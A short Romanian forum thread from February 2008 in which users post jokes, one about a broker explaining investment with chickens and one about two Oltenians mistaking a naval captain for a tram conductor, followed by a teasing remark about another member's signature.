Brokeru': -Apoi cum sa-ti explic bade. Sa zicem ca ai o suma de bani si eu iti recomand sa cumperi gaini. Gainile fac oua si ouale se clocesc si ies pui. Si puii ajung gaini si fac alte oua, care se clocesc si ies alti pui si tot asa pana ti se umple ograda de oua, pui, gaini. Apoi vine o vreme grea cu furtuna, ploi si inundatii si-ti ia toate gainile si puii din ograda si atunci zici: Ba ce fraier am fost ca n-am luat ratze...

08.02.2008, 14:37
Doi olteni, se duc si ei la Bucuresti, cu ceva treaba. Si cum n-au mai fost niciodata, nu stiau cum se procedeaza pe acolo, ii invata si pe ei un prieten: - Mai, fiti atenti, acolo se circula cu tramvaiul. Stati si voi in statie; cand vine vedeti ca o sa se deschida usile, urcati si voi ...Vedeti sa nu circulati fara bilet. La intrare, cum urcati, o sa vedeti acolo unul cu uniforma si sapca. Ii cereti doua bilete ...si tot asa. Bine. Se duc ei. Ajung in statie, vine tramvaiul, se deschid usile. Dar se nimereste ca tocmai usile de la coborare ajung in dreptul lor. Urca ei, cu mare greutate, tramvaiul era arhiaglomerat; in fata lor, unul inalt, spatos, cu uniforma si sapca, cu spatele catre ei. Unul din ei il bate pe umar: - Domn'le, va rog sa ne dati si noua doua bilete. Ala se intoarce si-i zice peste umar: - Domn'e, vezi ca eu sunt capitan de marina. Da' asta, catre prietenu': - Bai, hai repee jos c-am luat vaporu'.

08.02.2008, 16:49
Sorine, nu-mi prea place semnatura ta si am tinut sa ti-o spun intr-o zi de vineri ca sa nu mai stam asaincretiti tot weekendu; da' uita-te si tu cum suna SunaBuc...?